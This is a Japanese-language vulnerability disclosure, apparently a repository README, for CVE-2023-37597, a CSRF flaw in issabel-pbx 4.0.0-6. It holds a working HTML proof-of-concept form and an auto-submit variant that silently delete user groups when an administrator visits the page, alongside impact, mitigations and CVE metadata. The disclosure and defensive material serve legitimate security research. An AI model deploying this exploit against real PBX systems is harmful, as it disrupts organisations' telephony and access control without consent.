
Issabel-pbx v 4.0.0-6 には、ユーザーグループ管理機能にクロスサイトリクエストフォージェリ (CSRF) の脆弱性が含まれています。
免責事項: このリポジトリは、教育および許可されたセキュリティ研究のみを目的としています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、このエクスプロイトを使用しないでください。
issabel-pbx は、VoIPサービス、テレフォニー管理、Webベースの管理を提供する、広く使用されているオープンソースのユニファイドコミュニケーション基盤 (PBX) です。issabel-pbx バージョン 4.0.0-6 には、ユーザーグループ管理機能にクロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が存在します。
認証されていないリモート攻撃者は、悪意のあるHTMLページを作成し、認証済みの管理者がそのページを訪問すると、ユーザーグループを削除する偽造HTTP POSTリクエストが静かに発行されます。このアプリケーションは、CSRFトークンや SameSite Cookieポリシーによる状態変更リクエストの生成元検証を行わないため、ブラウザは管理者のセッションCookieを自動的に含め、被害者の知識や同意なしに削除が成功します。
クロスサイト・リクエスト・フォージェリ (CSRF) は、被害者のブラウザを騙して、攻撃者に代わって認証済みリクエストをターゲットアプリケーションに送信させる攻撃です。この攻撃は以下の条件が揃うと成功します:
Origin/Referer 検証、SameSite=Strict または SameSite=Lax Cookie属性がない)。issabel-pbx 4.0.0-6 のユーザーグループ削除エンドポイント (/index.php?menu=grouplist) は、delete アクションと id_user パラメータのみを含むHTTP POSTリクエストを処理します。このアプリケーションは以下を行いません:
Origin または Referer HTTPヘッダーのチェック。SameSite 属性の設定。その結果、被害者のブラウザに読み込まれた任意のWebページが、被害者の既存セッションを使用して削除フォームを静かに送信できます。ブラウザがセッションCookieを自動的に添付するためです。
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
警告: 以下のPoCは教育目的のみで提供されています。ラボ環境または明示的な許可を得たシステムでのみ使用してください。
手順1 — Issabel管理パネルにログインします
ユーザーグループ一覧ページに移動し、管理者資格情報でログインします。
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

手順2 — 削除リクエストをキャプチャします
Burp Suiteを介してトラフィックをプロキシしながら、ユーザーグループの削除を試みます。キャプチャしたPOSTリクエストを右クリックし、Engagement Tools → Generate CSRF PoC を選択して、エクスプロイトHTMLの骨組みを生成します。

手順3 — CSRFエクスプロイトページをホストします
生成されたHTMLをファイルとして保存します (以下の PoCエクスプロイトコード を参照)。攻撃者が管理するサーバーでホストするか、被害者に直接送信します。
手順4 — 被害者がエクスプロイトページを開きます
認証済みの管理者がエクスプロイトURLを開くかリダイレクトされると、隠しフォームが自動送信される (または被害者がデコイボタンをクリックする) と、ターゲットのユーザーグループが管理パネルから削除されます。


以下のHTMLファイル (CSRF exploit.html としても利用可能) は、この攻撃を示しています。{Issabel IP} をターゲットホストに置き換え、id_user を削除したいグループIDに合わせて調整します。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
自動送信バリアント: 被害者が何もクリックする必要をなくすには、
<body>タグ内に以下を追加して、ページ読み込み時にフォームが自動送信されるようにします:<script>document.forms[0].submit();</script>
| Dimension | Description |
|---|---|
| 完全性 | 攻撃者はIssabel管理パネルから任意のユーザーグループを静かに削除できます。 |
| 可用性 | ユーザーグループの削除により、それらのグループに属するすべてのユーザーのコールルーティングルール、アクセス制御、テレフォニーサービスが中断され、部分的なサービス拒否に相当します。 |
| 機密性 | この脆弱性によって直接影響を受けません。 |
管理者と開発者は以下の防御策を適用する必要があります:
CSRFトークンの実装 (シンクロナイザートークンパターン)
SameSite Cookie属性の設定
SameSite=Lax (最低限) または SameSite=Strict を設定して、クロスオリジンリクエストがセッション資格情報を保持しないようにします。Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyOrigin および Referer ヘッダーの検証
Origin または Referer ヘッダーがアプリケーション自身のドメインと一致しないリクエストを拒否します。破壊的操作に対する再認証の要求
多層防御の適用
| Date | Event |
|---|---|
| 2023年7月10日 | Sahil Ojha によって脆弱性が発見・文書化されました |
| 2023年7月10日 | CVE-2023-37597 が割り当てられました |
| 2023年7月10日 | 公開開示 |
Sahil Ojha セキュリティ研究者
この調査が役立った場合は、お気軽にリポジトリに ⭐ を付けてください。
| Field | Value |
|---|
| CVE ID | CVE-2023-37597 |
| 脆弱性 | クロスサイト・リクエスト・フォージェリ (CSRF) |
| CWE | CWE-352 — クロスサイト・リクエスト・フォージェリ (CSRF) |
| 深刻度 | 中 (Medium) |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| 影響を受けるバージョン | issabel-pbx 4.0.0-6 |
| 開示日 | 2023年7月10日 |
| 研究者 | Sahil Ojha |
| Field | Value |
|---|
| 製品名 | issabel-pbx |
| バージョン | 4.0.0-6 |
| ベンダー | Issabel Foundation |
| ベンダーホームページ | https://www.issabel.org/ |
| ソースコード | https://github.com/IssabelFoundation/issabelPBX |
| テスト環境 | Windows (Burp Suite Community Edition) |